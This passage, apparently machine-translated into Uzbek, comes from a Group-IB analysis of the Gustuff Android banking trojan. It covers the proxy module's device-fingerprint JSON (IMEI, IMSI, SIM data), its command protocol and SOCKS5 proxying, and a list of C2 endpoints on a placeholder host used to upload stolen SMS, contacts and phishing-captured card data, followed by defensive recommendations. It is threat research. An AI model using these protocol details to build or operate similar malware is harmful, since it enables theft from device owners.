    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

Qaerda:

  • id – identifikator, “x” nomli Shared Preference faylidan “id” maydoni bilan qiymat olishga harakat qiladi. Agar bu qiymatni olishning iloji bo'lmasa, u yangisini yaratadi. Shunday qilib, proksi-modul o'z identifikatoriga ega bo'lib, u Bot identifikatoriga o'xshash tarzda yaratilgan.
  • imei - qurilmaning IMEI. Agar qiymatni olish jarayonida xatolik yuz bergan bo'lsa, ushbu maydon o'rniga xato matni yoziladi.
  • imsi — qurilmaning xalqaro mobil abonent identifikatori. Agar qiymatni olish jarayonida xatolik yuz bergan bo'lsa, ushbu maydon o'rniga xato matni yoziladi.
  • model — Yakuniy mahsulotning oxirgi foydalanuvchiga koʻrinadigan nomi.
  • ishlab chiqaruvchi — Mahsulot/apparat ishlab chiqaruvchisi (Build.MANUFACTURER).
  • androidVersion - "<%release_version%> (<%os_version%>),<%sdk_version%>" formatidagi qator
  • mamlakat — qurilmaning joriy joylashuvi.
  • partnerId - bo'sh qator.
  • paket nomi - paket nomi.
  • networkType — joriy tarmoq ulanishining turi (masalan: “WIFI”, “MOBILE”). Xato bo'lsa, nullni qaytaradi.
  • hasGsmSupport – rost – agar telefon GSM-ni qo‘llab-quvvatlasa, aks holda noto‘g‘ri.
  • simReady - SIM karta holati.
  • simCountry - ISO mamlakat kodi (SIM karta provayderi asosida).
  • networkOperator — operator nomi. Agar qiymatni olish jarayonida xatolik yuz bergan bo'lsa, ushbu maydon o'rniga xato matni yoziladi.
  • simOperator - Xizmat ko'rsatuvchi provayder nomi (SPN). Agar qiymatni olish jarayonida xatolik yuz bergan bo'lsa, ushbu maydon o'rniga xato matni yoziladi.
  • versiya - bu maydon konfiguratsiya sinfida saqlanadi, botning sinovdan o'tgan versiyalari uchun u "1.6" ga teng edi.

5. Serverdan buyruqlarni kutish rejimiga o'tadi. Serverdan buyruqlar quyidagi formatda keladi:

  • 0 ofset - buyruq
  • 1 ofset - sessionId
  • 2 ofset - uzunlik
  • 4 ofset - ma'lumotlar

Buyruq kelganda, dastur qayd qiladi:
mainLog("Sarlavha { sessionId<%id%>], turi[<%command%>], uzunlik[<%length%>] }")

Serverdan quyidagi buyruqlar mumkin:

Ism buyruq ma'lumotlar Tavsif
ulanish identifikatori 0 Ulanish identifikatori Yangi ulanish yarating
SLEEP 3 vaqt Proksi-modulni to'xtatib turing
STOL TENNISI 4 - PONG xabarini yuboring

PONG xabari 4 baytdan iborat va quyidagicha ko'rinadi: 0x04000000.

ConnectionId buyrug'i qabul qilinganda (yangi ulanish yaratish uchun) Buyruq ulanishi sinfning namunasini yaratadi Proksi ulanish.

  • Proksi berishda ikkita sinf ishtirok etadi: Proksi ulanish и oxiri. Sinf yaratishda Proksi ulanish manzilga ulanish ProxyConfigClass.host: ProxyConfigClass.proxyPort va JSON ob'ektini o'tkazish:

 {
    "id":<%connectionId%>
}

Bunga javoban server ulanish o'rnatilishi kerak bo'lgan masofaviy server manzilini o'z ichiga olgan SOCKS5 xabarini yuboradi. Ushbu server bilan o'zaro aloqa sinf orqali amalga oshiriladi oxiri. Ulanishni o'rnatish sxematik tarzda quyidagicha ifodalanishi mumkin:

Android troyan Gustuff qanday qilib hisoblaringizdan kremni (fiat va kripto) olib tashlaydi

Tarmoq o'zaro ta'siri

Tarmoq snifferlari tomonidan trafik tahlilini oldini olish uchun CnC serveri va ilova o'rtasidagi o'zaro ta'sir SSL protokoli yordamida himoyalanishi mumkin. Serverdan va serverga uzatiladigan barcha ma'lumotlar JSON formatida taqdim etiladi. Ilova ish paytida quyidagi so'rovlarni bajaradi:

  • http://<%CnC%>/api/v1/set_state.php — buyruqni bajarish natijasi.
  • http://<%CnC%>/api/v1/get.php - buyruqni qabul qilish.
  • http://<%CnC%>/api/v1/load_sms.php — zararlangan qurilmadan SMS xabarlarni yuklab olish.
  • http://<%CnC%>/api/v1/load_ab.php — zararlangan qurilmadan kontaktlar roʻyxatini yuklash.
  • http://<%CnC%>/api/v1/aevents.php – so‘rov imtiyozlar faylida joylashgan parametrlarni yangilashda amalga oshiriladi.
  • http://<%CnC%>/api/v1/set_card.php — Google Play Market sifatida niqoblangan fishing oynasi yordamida olingan maʼlumotlarni yuklash.
  • http://<%CnC%>/api/v1/logs.php - jurnal ma'lumotlarini yuklash.
  • http://<%CnC%>/api/v1/records.php - fishing oynalari orqali olingan ma'lumotlarni yuklash.
  • http://<%CnC%>/api/v1/set_error.php - yuzaga kelgan xato haqida xabar berish.

tavsiyalar

O'z mijozlarini mobil troyanlar tahdididan himoya qilish uchun kompaniyalar foydalanuvchi qurilmalariga qo'shimcha dasturiy ta'minot o'rnatmasdan, zararli harakatlarni kuzatish va oldini olish imkonini beruvchi kompleks echimlardan foydalanishlari kerak.

Buning uchun mobil troyanlarni aniqlashning imzo usullarini mijozning ham, dasturning o'zini ham xatti-harakatlarini tahlil qilish texnologiyalari bilan mustahkamlash kerak. Himoya raqamli barmoq izi texnologiyasidan foydalangan holda qurilmani identifikatsiya qilish funksiyasini ham o'z ichiga olishi kerak, bu esa atipik qurilmadan hisob qachon foydalanilayotganini va firibgarning qo'liga tushib qolganini tushunish imkonini beradi.

Muhim nuqta - bu kompaniyalarga nafaqat Internetda, balki mobil kanalda, masalan, mobil banking ilovalarida, kriptovalyutalar bilan operatsiyalarni amalga oshirishda va boshqa har qanday joyda yuzaga keladigan xavflarni nazorat qilish imkonini beradigan kanallararo tahlilning mavjudligi. operatsiyalarni amalga oshirish mumkin.moliyaviy operatsiya.

Foydalanuvchilar uchun xavfsizlik qoidalari:

  • Android operatsion tizimiga ega mobil qurilma uchun Google Playdan boshqa manbalardan ilovalar oʻrnatmang, ilova tomonidan soʻralgan huquqlarga alohida eʼtibor bering;
  • Android OS yangilanishlarini muntazam ravishda o'rnatish;
  • yuklab olingan fayllarning kengaytmalariga e'tibor bering;
  • shubhali manbalarga tashrif buyurmang;
  • SMS xabarlarda olingan havolalarni bosmang.

Bosh rolda Semyon Rogacheva, Group-IB kompyuter sud ekspertizasi laboratoriyasida zararli dasturlarni tadqiq qilish bo'yicha kichik mutaxassis.

Manba: www.habr.com

a Izoh qo'shish